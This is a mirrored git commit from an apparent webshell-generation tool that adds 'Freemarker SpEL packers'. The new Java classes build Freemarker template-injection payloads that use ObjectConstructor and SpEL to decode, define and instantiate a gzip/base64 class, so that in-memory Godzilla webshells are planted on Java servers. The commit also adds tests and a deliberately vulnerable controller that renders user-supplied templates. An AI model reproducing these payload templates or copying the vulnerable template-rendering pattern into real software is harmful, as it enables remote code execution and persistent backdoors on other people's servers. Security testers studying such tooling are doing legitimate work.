mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support Freemarker SpEL packer
This commit is contained in:
@@ -381,7 +381,8 @@ public class ShellAssertion {
|
|||||||
}
|
}
|
||||||
if (Packers.SpELSpringGzipJDK17.equals(packer)
|
if (Packers.SpELSpringGzipJDK17.equals(packer)
|
||||||
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|
||||||
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
|
|| Packers.JXPathSpringGzipJDK17.equals(packer)
|
||||||
|
|| Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) {
|
||||||
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -429,7 +430,7 @@ public class ShellAssertion {
|
|||||||
case Rhino -> VulTool.postIsOk(url + "/rhino", content);
|
case Rhino -> VulTool.postIsOk(url + "/rhino", content);
|
||||||
case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
|
case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
|
||||||
case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
|
case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
|
||||||
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content);
|
case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
|
||||||
case Velocity -> VulTool.postIsOk(url + "/velocity", content);
|
case Velocity -> VulTool.postIsOk(url + "/velocity", content);
|
||||||
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
|
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
|
||||||
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
|
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
|
||||||
|
|||||||
+2
-1
@@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest {
|
|||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
@@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
|
|||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePa
|
|||||||
import com.reajason.javaweb.packer.deserialize.java.*;
|
import com.reajason.javaweb.packer.deserialize.java.*;
|
||||||
import com.reajason.javaweb.packer.el.ELPacker;
|
import com.reajason.javaweb.packer.el.ELPacker;
|
||||||
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
|
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
|
||||||
|
import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipJDK17Packer;
|
||||||
|
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipPacker;
|
||||||
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
|
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
|
||||||
import com.reajason.javaweb.packer.groovy.GroovyPacker;
|
import com.reajason.javaweb.packer.groovy.GroovyPacker;
|
||||||
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
||||||
@@ -142,6 +145,9 @@ public enum Packers {
|
|||||||
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
||||||
|
|
||||||
Freemarker(new FreemarkerPacker()),
|
Freemarker(new FreemarkerPacker()),
|
||||||
|
FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class),
|
||||||
|
FreemarkerSpELSpringGzip(new FreemarkerSpELSpringGzipPacker(), FreemarkerPacker.class),
|
||||||
|
FreemarkerSpELSpringGzipJDK17(new FreemarkerSpELSpringGzipJDK17Packer(), FreemarkerPacker.class),
|
||||||
Velocity(new VelocityPacker()),
|
Velocity(new VelocityPacker()),
|
||||||
JinJava(new JinJavaPacker()),
|
JinJava(new JinJavaPacker()),
|
||||||
XMLDecoder(new XMLDecoderPacker()),
|
XMLDecoder(new XMLDecoderPacker()),
|
||||||
|
|||||||
@@ -1,19 +1,10 @@
|
|||||||
package com.reajason.javaweb.packer.freemarker;
|
package com.reajason.javaweb.packer.freemarker;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class FreemarkerPacker implements Packer {
|
public class FreemarkerPacker implements AggregatePacker {
|
||||||
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(ClassPackerConfig config) {
|
|
||||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
|
||||||
return template.replace("{{script}}", script);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+19
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.packer.freemarker;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class FreemarkerScriptEnginePacker implements Packer {
|
||||||
|
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||||
|
return template.replace("{{script}}", script);
|
||||||
|
}
|
||||||
|
}
|
||||||
+25
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.packer.freemarker;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* JDK 17-compatible FreeMarker/SpEL class-definition payload.
|
||||||
|
*
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/8/30
|
||||||
|
*/
|
||||||
|
public class FreemarkerSpELSpringGzipJDK17Packer implements Packer {
|
||||||
|
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String className = config.getClassName();
|
||||||
|
assertClassNameValid(className);
|
||||||
|
return template.replace("{{className}}", className)
|
||||||
|
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.packer.freemarker;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a
|
||||||
|
* compressed class-definition expression.
|
||||||
|
*
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/8/30
|
||||||
|
*/
|
||||||
|
public class FreemarkerSpELSpringGzipPacker implements Packer {
|
||||||
|
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
return template.replace("{{className}}", config.getClassName())
|
||||||
|
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||||
|
}
|
||||||
|
}
|
||||||
+43
@@ -0,0 +1,43 @@
|
|||||||
|
package com.reajason.javaweb.packer.freemarker;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
class FreemarkerSpELSpringGzipPackerTest {
|
||||||
|
|
||||||
|
private static ClassPackerConfig config(String className) {
|
||||||
|
ClassPackerConfig config = new ClassPackerConfig();
|
||||||
|
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
|
||||||
|
config.setClassName(className);
|
||||||
|
config.setClassBytes(classBytes);
|
||||||
|
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
|
||||||
|
return config;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void pack() {
|
||||||
|
String payload = new FreemarkerSpELSpringGzipPacker().pack(config("com.example.Test"));
|
||||||
|
|
||||||
|
assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()"));
|
||||||
|
assertTrue(payload.contains("SpelExpressionParser"));
|
||||||
|
assertTrue(payload.contains("Base64Utils"));
|
||||||
|
assertTrue(payload.contains("GZIPInputStream"));
|
||||||
|
assertTrue(payload.contains("com.example.Test"));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void packJdk17() {
|
||||||
|
FreemarkerSpELSpringGzipJDK17Packer packer = new FreemarkerSpELSpringGzipJDK17Packer();
|
||||||
|
|
||||||
|
assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test")));
|
||||||
|
assertThrows(UnsupportedOperationException.class,
|
||||||
|
() -> packer.pack(config("com.example.Test")));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -22,6 +22,7 @@ dependencies {
|
|||||||
implementation("ognl:ognl:2.7.3")
|
implementation("ognl:ognl:2.7.3")
|
||||||
implementation("commons-jxpath:commons-jxpath:1.3")
|
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||||
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||||
|
implementation("org.freemarker:freemarker:2.3.23")
|
||||||
}
|
}
|
||||||
|
|
||||||
tasks.test {
|
tasks.test {
|
||||||
|
|||||||
+35
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import freemarker.template.Configuration;
|
||||||
|
import freemarker.template.Template;
|
||||||
|
import freemarker.template.TemplateException;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.StringReader;
|
||||||
|
import java.io.StringWriter;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/8/30
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/freemarker")
|
||||||
|
public class FreemarkerController {
|
||||||
|
@PostMapping
|
||||||
|
public String freemarker(@RequestParam String data) throws IOException, TemplateException {
|
||||||
|
Configuration configuration = new Configuration();
|
||||||
|
configuration.setDefaultEncoding("UTF-8");
|
||||||
|
Map<String, Object> input = new HashMap<>();
|
||||||
|
input.put("object", new Object());
|
||||||
|
Template template = new Template("templateName", new StringReader(data), configuration);
|
||||||
|
StringWriter output = new StringWriter();
|
||||||
|
template.process(input, output);
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
VITE_APP_API_URL=http://127.0.0.1:8080
|
VITE_APP_API_URL=http://127.0.0.1:8889
|
||||||
VITE_APP_BASE_PATH=/
|
VITE_APP_BASE_PATH=/
|
||||||
@@ -2,15 +2,6 @@ import type { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/memsh
|
|||||||
import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell";
|
import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell";
|
||||||
import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema";
|
||||||
|
|
||||||
const SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([
|
|
||||||
"SpEL",
|
|
||||||
"SpELSpringGzipJDK17",
|
|
||||||
"OGNL",
|
|
||||||
"OGNLSpringGzipJDK17",
|
|
||||||
"JXPath",
|
|
||||||
"JXPathSpringGzipJDK17",
|
|
||||||
]);
|
|
||||||
|
|
||||||
const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||||
const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||||
|
|
||||||
@@ -31,7 +22,7 @@ function generateSpringExpressionInjectorClassName() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function isSpringGzipJdk17RelatedPacker(packer: string) {
|
function isSpringGzipJdk17RelatedPacker(packer: string) {
|
||||||
return SPRING_GZIP_JDK17_RELATED_PACKERS.has(packer);
|
return packer.endsWith("SpringGzipJDK17");
|
||||||
}
|
}
|
||||||
|
|
||||||
export function transformToPostData(formValue: MemShellFormSchema) {
|
export function transformToPostData(formValue: MemShellFormSchema) {
|
||||||
|
|||||||
Reference in New Issue
Block a user